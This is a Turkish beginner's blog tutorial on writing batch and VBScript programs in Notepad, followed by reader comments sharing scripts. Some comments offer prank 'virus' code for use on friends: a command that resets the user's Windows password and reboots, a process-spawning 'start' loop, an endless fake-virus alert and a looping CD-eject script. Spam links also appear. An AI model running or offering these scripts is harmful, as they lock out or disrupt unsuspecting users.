Not Defterine Kod Yazma

1.Ders Basit Diyalog Kurma

@echo off
echo Merhaba Adini Yazarmisim
set /p  adin=
echo Memnun Oldum %adin%
pause

sonra Farklı Kaydet,e tıklıyoruz oraya bir isim yazın en sona .bat koyun bu kadar



2.Ders Basit Bir Hata Oluşturma

text1=msgbox("AmanTanrım",53,"Hata")

Bu sefer en sonu .vbs olarak kaydediyoruz


3.Ders Basit Saat Yapımı

@echo off
:start
echo %time%
goto start

En sonu .bat olarak kaydediyoruz




4.Ders Doğum Tarihi Sorgulama

Dogum = Inputbox("Dogum Tarihin?")

yasiniz = year(now) - int (Dogum)

Msgbox yasiniz & " yaşındasin :) "


En sonu .vbs olarak kaydediyoruz




5.Ders Matrix Effeti Yapma

@echo off
color a
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

En sonu .bat olarak kaydediyoruz

   

109 yorum:

  1. Yanıtlar
    1. bu da benden
      @echo off
      color a
      echo merhaba.
      set/p selam=
      echo ismim program145 senin ismin nedir?
      set/p isim=
      echo tanistigima memnun oldum %isim%
      set/p cevap=
      echo kac yasindasin?
      set/p yas=
      echo bende 15 yasindayim.
      echo memleket neresi?
      set/p memleket=
      echo %memleket% nin neresindensin?
      set/p cevap1=
      echo nelerden hoslanirsin?
      set/p cevap3=
      echo hoslanirim
      echo Ortak yonlerimiz varmis bende %cevap3% hoslanirim.
      echo sana birsey hediye etmek isterim olurmu?
      set/p cevap4=
      echo zaten istesen istemesende hediyeni vericem :)
      color c
      echo ////// //////
      echo //////// ////////
      echo ////////// /////////
      echo /////////// //////////
      echo ///////////////////////
      echo /////// seni cok /////
      echo //// seviyorum ////
      echo %isim%
      echo /////////////
      echo //////////
      echo ///////
      echo ////
      set/p cevap5=
      echo gule gule.
      color a
      set/p cevap45=

      Sil
    2. kalptı o aslındada yorumda cıkmadı

      Sil
    3. bencede mal büssürü hata var

      Sil
    4. Oyun Ülkesi27 Ocak 2019 02:20

      Bende Hata Olmadı Güzeldi Boşuna Mal Demeyin

      Sil
    5. Aynen bendede hata olmadı siz yapmayı beceremiyorsunuz kaydederken ANSI yi kodlayıp Metin belgesi değil tüm dosyaları seçiceksiniz

      Sil
    6. bu benden sevgilisi olmayanlara gelsin
      @echo off
      echo selam adin ne
      set/p cvp1=
      echo guzel isimmis %cvp1% benim adim duru tanistigima memnun oldum
      set/p cvp2=
      echo yasin kac
      set/p cvp3=
      echo bende %cvp3% yasindayim .... eee nasilsin
      set/p cvp4=
      echo bende iyiyim tesekkurler bu arada nerede oturuyorsun
      set/p cvp5=
      echo aaa sansa bak bende %cvp5% te oturuyorum hangi ilce
      set/p cvp6=
      echo bende %cvp6% ta oturuyorum yakiniz o zaman ..... bisey dicem
      set/p cvp7=
      color 4
      echo sey ben senden hoslanmaya basladim benimle cikar misin noluuuuurrr
      set/p cvp8=
      color e
      echo tamam o zaman musaitsen bu hafta sonu parkta bulusalim mi lutfennnn
      set/p cvp9=
      echo cok tesekkur ederimmmm seni cok seviyorum %cvp1% hafta sonu parkta grsrz optum
      set/p cvp10=
      pause

      Sil
    7. sağol aga adamısnnn

      Sil
    8. @echo off
      color a
      echo knks nbr
      step/=
      echo ben iyiyim
      echo ödevi ysptınmı
      step/cevap1=
      echo bende %cevap1%
      echo parkta bulusammı
      step/cevap2=
      echo bencede %cevap2%
      echo tmm o zaman annem arıyo bay bay
      step/=
      echo gorusuruz
      step/=
      echo dur
      step/=
      color c
      bay bay bay bay hoşçaakal hoşşçaaalaaal
      anaem arıyo hoşşçaaakkaaal.



      bi el atsana olmadı diyoda

      Sil
    9. Bu da yanlış doğrusu şöyle:

      @echo off
      color a
      echo kanka naber
      set/p cevap1=
      echo ben iyiyim
      echo odevi yaptin mi?
      set/p cevap2=
      echo bende %cevap2%
      echo parkta bulussak mi?
      set/p cevap3=
      echo bencede %cevap3%
      echo tmm o zaman annem ariyo bay bay
      set/p cevap 4=
      echo gorusuruz
      set/p cevap 5=
      echo dur
      set/p cevap 6=
      color c
      echo bay bay bay bay hoscaakal hosscaakaaaal
      echo annem ariyo hosscaaakkaaal.
      pause
      exit

      Sil
  2. Yanıtlar
    1. Kardeş en başa
      "echo off
      cls"
      tırnak işareti olmadan eklersen oluyor.

      Sil
  3. Süper Hemde 4. program süper hepsi çalıştıda ama 5. olanı anlamadım

    YanıtlaSil
    Yanıtlar
    1. şimdi holywood filmlerinde olurya hackerler yazı yazar hızlı hızlı yazılar akar işte onu yapmıs yazı rengini de
      color 3
      color 7
      gibi benzeri color karşısınada yazabilirsin dostum

      Sil
  4. Çok teşekürler,bunun daha fazlasınıda göster görmek isterim.

    YanıtlaSil
  5. yil = Inputbox("Dogum yılı?")
    gun = Inputbox("Dogum Günü")
    ay = Inputbox("Dogum Ay")

    yas = year(now) - int (yil)
    gun = day(now) - int(gun)
    ay = month(now) - int(ay)

    Msgbox yas & " yaş " & ay & " ay " & gun & " günlüksün"


    Nacizane yıl ay ve gün olarak hesaplattım :)) Yukardaki kodları not defterine kopyalayıp uzantısını vbs olarak kaydedin.

    YanıtlaSil
  6. Süper çok teşekkür ederim :)

    Dahası var mı?

    YanıtlaSil
    Yanıtlar
    1. Evet.Şuna Bak:

      do
      Msgbox" Bilgisayarınıza Vürüs Bulaşmıştır.Silmek İçin Bilgisayarı Kapatınız... ",vbCritical," Microsoft Windows "
      loop

      Bunları Yazıp Uzantısını .vbs Olarak Kaydedin.

      Sil
    2. ciddi virüs gibi kapatılmıyo bilgisayarla kapanıyo

      Sil
    3. loop yazısını silerseniz kapanır.

      Sil
    4. alt control delete ye basıp görev yöneticisini açtıktan sonra işlemlerden en alttaki wscript.exe yazısına basıp işlemi sonlandır a basarsan gider :)

      Sil
    5. vbInformation yazayarakta olur hatalar

      Sil
    6. yanlış hesaplıyo. daha 12 yaşına girmeden 12 yaşında olduğumu söylüyo.

      Sil
    7. abi bu doğum gününe kaç gün ay veya yıl kaldığını gösteriyor

      Sil
  7. 1. olanda her cevaba başka şeyler söylemek nasıl olur her isme farklı cevap vermesi kadınsa başka erekse başka iyiyim dediğinde başka kötüyüm dediğinde başka cevap nasıl verebilir tek yazılım ile nasıl yapılabilir tek not defteri sayfasında nasıl olur???

    YanıtlaSil
    Yanıtlar
    1. Kardeş Bu Dediğin İçin 5-6 tane .bat yapman Gerekir bende denedim hatta start bile koydum biri biter bitmez diğeri yani dönüşümlü anladın

      Sil
    2. arkadaşım batch file choice yazarsan googlea yaparsın

      Sil
  8. ad = Inputbox("Adınız")

    Msgbox ad & " Tanıştığımıza Memnun Oldum "

    .vbs olarak Kaydedin

    YanıtlaSil
  9. üff çok az şey var ama işe yarar

    YanıtlaSil
  10. Bu yorum yazar tarafından silindi.

    YanıtlaSil
    Yanıtlar
    1. @echo off
      title Saat
      msg * bugraKRS tarafindan yapidi
      :start
      color c
      color b
      color a
      color 1
      color 2
      echo %time%
      goto start Bu doğrusu BU Rekli Olan Herk Ren kVar

      Sil
    2. @echo off
      title Saat
      :start
      color c1
      color b2
      color a3
      color 1c
      color 2a
      echo %time%
      goto start Buna bAK :d

      Sil
    3. gözümü becerdiniz sonunda xD

      Sil
  11. @echo off
    title Saat
    msg * bugraKRS tarafından Yapıldı
    color 1
    color 2
    color 3
    color 4
    color a
    :start
    echo %time%
    goto start Saat İçindir Güncelleme yaptım ben

    YanıtlaSil
  12. not defterinden alarm kurma nasıl yapılır.

    YanıtlaSil
  13. Abi Pro isler yazırsınız

    YanıtlaSil
  14. arkadaşlar link açabilen bişi yapılabilir mi?

    YanıtlaSil
    Yanıtlar
    1. kod yazmana gerek yok masaüstüne kısayol yap :)

      Sil
    2. start C:\Users\%username%\...

      Sil
  15. Ben harika bir korku oyunu yaptım kendi kendine dosya açılıyor, o dosyayı açık bir not defterinin üzerine bırakınca korkunç yazılar
    çıkıyor. Kodu kaybettim ama indirmeyi siteme koyucam. Uzun zaman sürer yükleyince link veririm muhteşem bir şey

    YanıtlaSil
  16. beyler buda benden
    Yas = Inputbox("Yasin?")
    DogumTarihiniz = year(now) - int (Yas)
    Msgbox DogumTarihiniz & " yilinda dogdun :) "

    Bunada yaşınızı yazıyosunuz doğduğunuz yılı söylüyor.

    YanıtlaSil
  17. He bu arada .vbs uzantısı ile yapın =D

    YanıtlaSil
  18. Bu yorum yazar tarafından silindi.

    YanıtlaSil
  19. @echo off
    title sence ne
    msg * TheCan tarafindan yapildi
    :start
    color b
    color b
    color b
    color 1
    color 1
    echo %time%
    goto start
    bu mavi renkli olanından sona .bat eklemeyi unutmayın...

    YanıtlaSil
  20. Arkadaşlar yukarıdaki yaş hesaplamalarda bazen -4 ay -12 gün gibi sonuçlar çıkabiliyor. Bu yüzden bu vereceğim kodu kopyalayıp yapıştırdıktan sonra .vbs olarak kaydederseniz tam olarak sonuç çıkacaktır. İnşallah işinize yarar.

    KOD:

    yil = Inputbox("Doğum yılınız?")
    ay = Inputbox("Doğum ayınız?")
    gun = Inputbox("Doğum Gününüz?")

    yil = year(now) - int (yil)
    ay = month(now) - int (ay)
    gun = day(now) - int (gun)

    if ( ay <= 0 ) Then yil = yil - 1
    if ( ay <= 0 ) Then ay = 12 + ay
    if ( gun <= 0 ) Then ay = ay - 1
    if ( gun <= 0 ) Then gun = 30 + gun

    Msgbox yil & " yıl " & ay & " ay " & gun & " günlüksün :) "

    YanıtlaSil
  21. Arkadaşlar yukarıdaki yaş hesaplamalarda bazen -4 ay -12 gün gibi sonuçlar çıkabiliyor. Bu yüzden bu vereceğim kodu kopyalayıp yapıştırdıktan sonra .vbs olarak kaydederseniz tam olarak sonuç çıkacaktır. İnşallah işinize yarar.

    KOD:

    yil = Inputbox("Doğum yılınız?")
    ay = Inputbox("Doğum ayınız?")
    gun = Inputbox("Doğum Gününüz?")

    yil = year(now) - int (yil)
    ay = month(now) - int (ay)
    gun = day(now) - int (gun)

    if ( ay <= 0 ) Then yil = yil - 1
    if ( ay <= 0 ) Then ay = 12 + ay
    if ( gun <= 0 ) Then ay = ay - 1
    if ( gun <= 0 ) Then gun = 30 + gun

    Msgbox yil & " yıl " & ay & " ay " & gun & " günlüksün :) "

    YanıtlaSil
    Yanıtlar
    1. merhab, eğer de ; eğer oyleyse bunu yap diyoruz, ama değilse şunu yap diye bir komut var mı ?

      Sil
    2. hepsi çok iyi ama alarm nasıl gerçekten abi

      Sil
  22. Birde en sonuna şunu eklerseniz çok daha güzel olur;

    , vbinformation , "Yaş Hesaplayıcı"

    YanıtlaSil
  23. Virusu nece duzeldirler deyi aynen boye amma alt ata
    Star
    Star
    Yazmalisiz ne kadar star yazsaniz o kadarda guclu olar ve sonunda kayit etdijde istediyin adi yaz amma uzantisina .bat yqz al size kolay virus piroqrami bunuda arkadaslarinizin bilgisayarina atdimmi is taman

    YanıtlaSil
    Yanıtlar
    1. ne starı o start olucak hem zaten o bişey değilki sürekli cmd yi açıyo alın size kod:

      goto :start
      start
      start
      start
      cd C:\program files
      *.exe
      *.exe
      *.exe
      *.exe


      ve uzantı bat olacak

      Sil
  24. @echo off
    title mount blade warband hack yapimi.
    echo once mount blade warband oyun dosyasini aciyoruz.
    pause
    echo modulusten native seciyoruz.
    pause
    echo oradan texturexsten tr ye giri yoruz.
    pause
    echo o rada item yazan dosyayi acin hile yapacaginiz silahin Adini arayin.
    pause
    echo daha sonra texturexs ten cikin.
    pause
    echo item1 yazan dosyaya girin.
    pause
    echo o raya silahin adini bulun.
    pause
    echo sondan baslayan rakamlari istediginiz gibi degistirin.
    pause
    echo ama en once butun girdigimiz dosyalari masaustine kaydetin.
    pause
    echo olusturan Ahmet
    pause
    bunu kodlayıp not defterine yapıştırın. sonra en üstün
    sol köşesindeki dosyayı açın farklı kaydet diyin.
    adını istediğiniz her şey koyabilirsiniz ama sonuna .bat yazmayı unutmayın.

    YanıtlaSil
  25. echo merhaba.
    set/p selam=
    echo ismim program145 senin ismin nedir?
    set/p isim=
    echo tanistigima memnun oldum %isim%
    set/p cevap=
    echo kac yasindasin?
    set/p yas=
    echo bende 15 yasindayim.
    echo memleket neresi?
    set/p memleket=
    echo %memleket% nin neresindensin?
    set/p cevap1=
    echo nelerden hoslanirsin?
    set/p cevap3=
    echo hoslanirim
    echo Ortak yonlerimiz varmis bende %cevap3% hoslanirim.
    echo sana birsey hediye etmek isterim olurmu?
    set/p cevap4=
    echo zaten istesen istemesende hediyeni vericem :)
    color D
    echo ////// //////
    echo //////// ////////
    echo ////////// /////////
    echo /////////// //////////
    echo ///////////////////////
    echo /////// seni cok /////
    echo //// seviyorum ////
    echo %isim%
    echo /////////////
    echo //////////
    echo ///////
    echo ////
    set/p cevap5=
    echo gule gule.
    color a
    set/p cevap45=

    YanıtlaSil
  26. YANLLIZ BEN ANLAMADIM.
    En sonu .bat olarak kaydediyoruz
    DEDİĞİN YERİ ÖZELLİKLE

    YanıtlaSil
  27. eğer de eğer oysa bunu yap diyoruz, peki değişse şunu yap diyebileceğimiz bir komut var mı ?

    YanıtlaSil
  28. net user %username% 123
    shutdown -r
    bu da benden şifre 123

    YanıtlaSil
    Yanıtlar
    1. Kapatma İptal için CMD Açıp Shutdown -a Yazın İPTAL OLUYOR...

      Sil
  29. Buda benden (Oyunu 3 Günde Yaptım Lütfen Çalmayın !

    @echo off
    color A
    title Askerdik

    echo Selamun Aleyküm Kardes Napıyon Yaa... ilk seni tanıyalım. Adın Nedir?(iki adın varsa 1 ini yaz.)
    set/p ad1=
    echo Güzel. Oyun oynamaktan hoslanir misin?
    set/p cev=
    echo Peki Asker olmak istermisin?
    set/p a=
    echo cevabın %a% demekki. ama ne yazdığını bilmiyorum. O yüzden direk Seni Askere Alıyorum
    msg * Program145=Gorev Başarılı: Askere Git
    msg * Program145=Gorev Alindı. Rutbemiz Az
    msg * Program145=Gun 1= Rutbe Lazim!
    pause
    :m
    cls
    echo Merhaba. uyanan Varmi?
    echo Utku=Ben. adin ne senin?
    echo %ad1%
    echo Utku=ismin iyiymiş %ad1% Hadi kalkalım. Komutan Cagirir birazdan
    pause
    :m
    cls
    echo Sıraya Girince
    echo Yüzbaşı Alizbek=Günaydın!
    echo Askerler=Saol! Emredin Komutanim!
    echo Yüzbaşı Alizbek=Asker. Sag Dön!
    echo Yüzbaşı Alizbek=Asker. Egitime Giriyoruz. Herkes 50 Şınav!
    echo Şınav Çektikden Sonra
    echo Yüzbaşı Alizbek=%ad1% gel buraya
    echo Efendim Komutanım!
    echo Yüzbaşı Alizbek=Rütbeni yükseltmek istermisin?
    echo Evet Komutanım!
    echo Yüzbaşı Alizbek=O zamanSorularıma Doğru Cevap ver. O Zaman Uzman er Olacaksın.
    echo Yüzbaşı Alizbek=Uzman Er olunca ne yapcaksın?
    echo 1. hava atacağım.
    echo 2. Normal yaşayacağım
    echo 3. Askerlere Eğitim Vereceğim
    echo Hangisi?
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :iki
    echo Yüzbaşı Alizbek=Gerizekalımısın sen!
    msg * Görev Tamamlanamadı: Rutbemiz Az
    pause
    goto m
    :bir
    echo Yüzbaşı Alizbek=Ne dedin Sen! Kovuldun!
    msg * Görev Tamamlanamadı: Rutbemiz Az
    msg * Askeriye den Kovuldun ve Ceza Evine Düştün.
    pause
    goto m
    :üç
    echo Yüzbaşı Alizbek=Hmm Aferin 2. Soru Da Şu:
    pause
    echo Yüzbaşı Alizbek=Soru 2 Bir Operasyon Sırasında Komutan mı Olursun Yoksa asker mi?
    echo 1.Komutan
    echo 2. Komutan Olmam
    echo 3. düşündüm de. ben bence Uzman er olmayayım.
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :bir
    echo Yüzbaşı Alizbek=Gerizekalı Bin kişilik orduya mı geçcen!
    pause
    goto m
    :üç
    echo Yüzbaşı Alizbek=Sen bilirsin.
    pause
    goto m
    :iki
    echo Yüzbaşı Alizbek=Afferin. Rutbe Atladın.
    msg * Görev Başarılı:Rutbemiz Az!
    msg * Gün bitti.
    msg * Gün 2:Vasiyetizmiz Ülkemizi Korumak!
    msg * Görev Alındı:Ülkemizi Korumak Lazım.
    echo Yüzbaşı Alizbek=Günaydın!
    echo Askerler= Saol Komutanım!
    echo Yüzbaşı Alizbek=Bugün Komutanınız %ad1% Olacak. %ad1% Hadi!
    echo Saol Komutanım.
    echo Program145=1 Saat Sonra...
    echo Yüzbaşı Alizbek=%ad1% Acilen Tüm birliklere haber ver Pkk Bize Saldırıyor!
    echo Peki ben Neye bineceğim Komutanım!
    echo Yüzbaşı Alizbek= Sen Karar ver! birde Savaş bitince Bana gel!
    echo Hmmm. 3 Araç var.
    echo 1. Uçak(Kapasite 2)
    echo 2. Tank(Kapasite 5)
    echo 3. Zırhlı Araç (Kapasite 20)
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :iki
    echo Program145=Yanlış Kişiyi Öldürdün!
    msg * Hapishaneye Düşdün ve 1 Ay Sonra İdam edildin.
    pause
    goto m
    :bir
    echo Program145=Yere Doğru Sürülmez!
    msg * Şehit Oldun. ruhuna fatiha. %ad1%
    pause
    goto m
    :üç
    echo Program145= 20 Askerinle 35 Pkk lıyı Öldürdün. Afferin.
    echo Program145= Savaş bitti. Nereye gideceksin?
    echo 1. Askeriyeye
    echo 2. Yüzbaşı Alizbek= e
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    goto m
    :bir
    echo Program145= Komutan Alizbek seni Buldu ve Askeriyeden Attı.
    pause
    goto m
    :iki
    echo Yüzbaşı Alizbek=Bu Zorlu Görev i Başarıyla Tamamladığın için Seni Terfi Ediyorum. Artık

    Çavuşsun.
    msg * Daha Fazla Böyle Gelmesi için Bir Like Atarmısınız? (10 like a Version 1.2 Gelecek.)
    msg * Yapım=Ahmed Kerem Yıldız. Lütfen Bunu Değiştircekseniz Veya Başka bir yere Yapıştırcaksanız

    Emek Hırsız lığı Yapmayın. Bana Söyleyin. Görüşürüz!

    pause







    YanıtlaSil
  30. Buda benden (Oyunu 3 Günde Yaptım Lütfen Çalmayın !

    @echo off
    color A
    title Askerdik

    echo Selamun Aleyküm Kardes Napıyon Yaa... ilk seni tanıyalım. Adın Nedir?(iki adın varsa 1 ini yaz.)
    set/p ad1=
    echo Güzel. Oyun oynamaktan hoslanir misin?
    set/p cev=
    echo Peki Asker olmak istermisin?
    set/p a=
    echo cevabın %a% demekki. ama ne yazdığını bilmiyorum. O yüzden direk Seni Askere Alıyorum
    msg * Program145=Gorev Başarılı: Askere Git
    msg * Program145=Gorev Alindı. Rutbemiz Az
    msg * Program145=Gun 1= Rutbe Lazim!
    pause
    :m
    cls
    echo Merhaba. uyanan Varmi?
    echo Utku=Ben. adin ne senin?
    echo %ad1%
    echo Utku=ismin iyiymiş %ad1% Hadi kalkalım. Komutan Cagirir birazdan
    pause
    :m
    cls
    echo Sıraya Girince
    echo Yüzbaşı Alizbek=Günaydın!
    echo Askerler=Saol! Emredin Komutanim!
    echo Yüzbaşı Alizbek=Asker. Sag Dön!
    echo Yüzbaşı Alizbek=Asker. Egitime Giriyoruz. Herkes 50 Şınav!
    echo Şınav Çektikden Sonra
    echo Yüzbaşı Alizbek=%ad1% gel buraya
    echo Efendim Komutanım!
    echo Yüzbaşı Alizbek=Rütbeni yükseltmek istermisin?
    echo Evet Komutanım!
    echo Yüzbaşı Alizbek=O zamanSorularıma Doğru Cevap ver. O Zaman Uzman er Olacaksın.
    echo Yüzbaşı Alizbek=Uzman Er olunca ne yapcaksın?
    echo 1. hava atacağım.
    echo 2. Normal yaşayacağım
    echo 3. Askerlere Eğitim Vereceğim
    echo Hangisi?
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :iki
    echo Yüzbaşı Alizbek=Gerizekalımısın sen!
    msg * Görev Tamamlanamadı: Rutbemiz Az
    pause
    goto m
    :bir
    echo Yüzbaşı Alizbek=Ne dedin Sen! Kovuldun!
    msg * Görev Tamamlanamadı: Rutbemiz Az
    msg * Askeriye den Kovuldun ve Ceza Evine Düştün.
    pause
    goto m
    :üç
    echo Yüzbaşı Alizbek=Hmm Aferin 2. Soru Da Şu:
    pause
    echo Yüzbaşı Alizbek=Soru 2 Bir Operasyon Sırasında Komutan mı Olursun Yoksa asker mi?
    echo 1.Komutan
    echo 2. Komutan Olmam
    echo 3. düşündüm de. ben bence Uzman er olmayayım.
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :bir
    echo Yüzbaşı Alizbek=Gerizekalı Bin kişilik orduya mı geçcen!
    pause
    goto m
    :üç
    echo Yüzbaşı Alizbek=Sen bilirsin.
    pause
    goto m
    :iki
    echo Yüzbaşı Alizbek=Afferin. Rutbe Atladın.
    msg * Görev Başarılı:Rutbemiz Az!
    msg * Gün bitti.
    msg * Gün 2:Vasiyetizmiz Ülkemizi Korumak!
    msg * Görev Alındı:Ülkemizi Korumak Lazım.
    echo Yüzbaşı Alizbek=Günaydın!
    echo Askerler= Saol Komutanım!
    echo Yüzbaşı Alizbek=Bugün Komutanınız %ad1% Olacak. %ad1% Hadi!
    echo Saol Komutanım.
    echo Program145=1 Saat Sonra...
    echo Yüzbaşı Alizbek=%ad1% Acilen Tüm birliklere haber ver Pkk Bize Saldırıyor!
    echo Peki ben Neye bineceğim Komutanım!
    echo Yüzbaşı Alizbek= Sen Karar ver! birde Savaş bitince Bana gel!
    echo Hmmm. 3 Araç var.
    echo 1. Uçak(Kapasite 2)
    echo 2. Tank(Kapasite 5)
    echo 3. Zırhlı Araç (Kapasite 20)
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    if %input%==3 goto üç
    goto m
    :iki
    echo Program145=Yanlış Kişiyi Öldürdün!
    msg * Hapishaneye Düşdün ve 1 Ay Sonra İdam edildin.
    pause
    goto m
    :bir
    echo Program145=Yere Doğru Sürülmez!
    msg * Şehit Oldun. ruhuna fatiha. %ad1%
    pause
    goto m
    :üç
    echo Program145= 20 Askerinle 35 Pkk lıyı Öldürdün. Afferin.
    echo Program145= Savaş bitti. Nereye gideceksin?
    echo 1. Askeriyeye
    echo 2. Yüzbaşı Alizbek= e
    set input=nothing
    set/p input=Sec:
    if %input%==1 goto bir
    if %input%==2 goto iki
    goto m
    :bir
    echo Program145= Komutan Alizbek seni Buldu ve Askeriyeden Attı.
    pause
    goto m
    :iki
    echo Yüzbaşı Alizbek=Bu Zorlu Görev i Başarıyla Tamamladığın için Seni Terfi Ediyorum. Artık

    Çavuşsun.
    msg * Daha Fazla Böyle Gelmesi için Bir Like Atarmısınız? (10 like a Version 1.2 Gelecek.)
    msg * Yapım=Ahmed Kerem Yıldız. Lütfen Bunu Değiştircekseniz Veya Başka bir yere Yapıştırcaksanız

    Emek Hırsız lığı Yapmayın. Bana Söyleyin. Görüşürüz!

    pause







    YanıtlaSil
  31. Birin Düzeltilmiş Hali
    @echo off
    echo Merhaba Adini ve soyadini Yazarmisim
    set /p adin=Adin=
    set /p soyadin=Soydin=
    echo Memnun Oldum %adin% %soyadin%
    msg * Bu Kod Musa Kazim tarafindan düzenlenmistir...
    msg exit
    pause

    YanıtlaSil
  32. bu dedıgınız kodları nereye yazıyoruz tam anlamıyla bılgı verırmısınız

    YanıtlaSil
    Yanıtlar
    1. not defterine sonra .bat yazarak kaydet

      Sil
  33. bu dedıgınız kodları nereye yazıyoruz tam anlamıyla bılgı verırmısınız

    YanıtlaSil
  34. Bay Zeki Bloğun Adı ne??? Not Defteri Yazio Anliyonmu? Kodlardan birini seç Kopyala Yapıştir Yap Not defterine Daha Sonra Farkli Kaydet de.Mesela Yazki "Kodlama" Sonra nokta koy Vbs yaz diyosa vbs yaz bat diyosa bat yaz










































    ..

    YanıtlaSil
  35. buda benden

    @echo off
    color a
    echo merhaba.
    set/p cevap=
    echo naber?
    set/p cevap2=
    echo bende iyiyim
    echo senin adin ne
    set/p adin=
    echo tanisdigima memnun oldum %adin%
    echo benim adim admin123
    echo hos cakal
    set/p cevap=
    pause

    YanıtlaSil
  36. we are anonymous we are legion we are not forgive we are not gorger expect us!

    YanıtlaSil
  37. Kendi kendinize biraz kaba sohbet etmek istiyorsanız buyrun:
    @echo off
    color a
    echo Selamunaleykum kardes!
    set/p selam=
    echo Kardesim benim ismim Mahir senin ismin ne?
    set/p isim=
    echo Ben soyleyeceksem sen de soyleyeceksin lan!
    echo Soylediysen aferin adam ol!
    echo TEKRAR iSMiNi SOYLE LAN!
    set/p isim=
    echo Memnun oldum krds.
    echo Yas kac kardes
    set/p yas=
    echo Dogru soyle lan!
    set/p yas=
    echo Gene yanlis ama neyse...
    echo Bende 99 yasindayim kardesm
    echo Memleket nere?
    set/p memleket=
    echo %memleket%'inin neresindensin?
    set/p memleket0=
    echo Adamakilli cevap vermiyon yaziklar olsun sana...
    echo Hediye veremmi sana he
    set/p hediye=
    echo Banane lan niye verecekmisim param bosuna gitmesin
    echo Cidden verecegimi mi sandin %isim% xD
    set/p cevap1=
    echo Hadi lan hadi neyse aferin gene de verecem, sence hediye ne?
    set/p ok=
    ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
    ░░░░░░░░░░░░░▄▄▄▄▄▄▄░░░░░░░░░
    ░░░░░░░░░▄▀▀▀░░░░░░░▀▄░░░░░░░
    ░░░░░░░▄▀░░░░░░░░░░░░▀▄░░░░░░
    ░░░░░░▄▀░░░░░░░░░░▄▀▀▄▀▄░░░░░
    ░░░░▄▀░░░░░░░░░░▄▀░░██▄▀▄░░░░
    ░░░▄▀░░▄▀▀▀▄░░░░█░░░▀▀░█▀▄░░░
    ░░░█░░█▄▄░░░█░░░▀▄░░░░░▐░█░░░
    ░░▐▌░░█▀▀░░▄▀░░░░░▀▄▄▄▄▀░░█░░
    ░░▐▌░░█░░░▄▀░░░░░░░░░░░░░░█░░
    ░░▐▌░░░▀▀▀░░░░░░░░░░░░░░░░▐▌░
    ░░▐▌░░░░░░░░░░░░░░░▄░░░░░░▐▌░
    ░░▐▌░░░░░░░░░▄░░░░░█░░░░░░▐▌░
    ░░░█░░░░░░░░░▀█▄░░▄█░░░░░░▐▌░
    ░░░▐▌░░░░░░░░░░▀▀▀▀░░░░░░░▐▌░
    ░░░░█░░░░░░░░░░░░░░░░░░░░░█░░
    ░░░░▐▌▀▄░░░░░░░░░░░░░░░░░▐▌░░
    ░░░░░█░░▀░░░░░░░░░░░░░░░░▀░░░
    ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
    echo Begendin mi :)
    set/p evt=
    Hadi lan hadi bos yapma bb!
    msg*GAME OVER

    YanıtlaSil
  38. Bu yorum yazar tarafından silindi.

    YanıtlaSil
  39. Şaka .vbs ile kaydedin

    X = Msgbox ("Selamın Aleyküm" ,vbExclamation , "Windows")
    X = Msgbox ("Ben Utku Tarafından Özel Hazırlanmış Bir VİRÜSÜM. Bana verilen görevei yapıcam ve bilgisayarını virüsleyeceğim" ,vbExclamation , "Windows")
    X = Msgbox ("Ve Virüslemeye Başlayalım" ,vbExclamation , "Windows")
    X = Msgbox ("İlk Önce Corona Virüsü" ,vbExclamation , "Virüs Atar")
    X = Msgbox ("Cd Rom Açılıyor..." ,vbCritical , "Corona Virüsten ileti")
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection

    if colCDROMs.Count >=1 then
    For i=0 to colCDROMs.COunt -1
    colCDROMs.Item(i).Eject
    Next ' cdrom
    End If
    X = Msgbox ("Fidye Virüsünü Salalım" ,vbExclamation , "Windows")
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection

    if colCDROMs.Count >=1 then
    For i=0 to colCDROMs.COunt -1
    colCDROMs.Item(i).Eject
    Next ' cdrom
    End If

    X = Msgbox ("Şimdide Corona Virüsü (Covid -19) VE Fidye Virüsünü salalım" ,vbExclamation , "Windows")
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >=1 then
    For i=0 to colCDROMs.COunt -1
    colCDROMs.Item(i).Eject
    Next ' cdrom
    End If
    loop

    YanıtlaSil
    Yanıtlar
    1. Ya cd açılıyor kapanmıyor napıcam?

      Sil
  40. Trendyol indirim kuponu arıyorsanız tıklayın: trendyol indirim kuponu

    YanıtlaSil
  41. elerinize saalık bütün kodlara baktım hepsi çok güzel olmuş

    YanıtlaSil
  42. nasıl buldunuz yapıyorsunuzbunnları banada üğretin

    YanıtlaSil
  43. @echo off
    cls
    color a
    :c
    set /P cevap=Cmd kapatilsin mi?[E/H]
    if /I "%cevap%" EQU "E" goto :e
    if /I "%cevap%" EQU "H" goto :h



    :e
    taskkill -f -im cmd.exe


    :h
    echo peki
    pause>null



    .bat olarak kaydedin.

    YanıtlaSil
  44. En iyi instagram takipçi satın al sitesi https://atakanmedya.com

    YanıtlaSil
  45. Bilgisayarda her bilgi oluyor

    YanıtlaSil
  46. Kankalar not defteri ile SNAKE61 diye bi yılan oyunu yaptımda bi test ederseniz çok sevinirim indirme linki burada teşekkürler :)
    https://www.dosya.tc/server35/5q53zn/SNAKE61.rar.html

    YanıtlaSil
  47. süüüüüüüüüüüüüüüüüü

    YanıtlaSil
  48. random yeşil rakamları 4 kez açınca işlemci ölüyor

    YanıtlaSil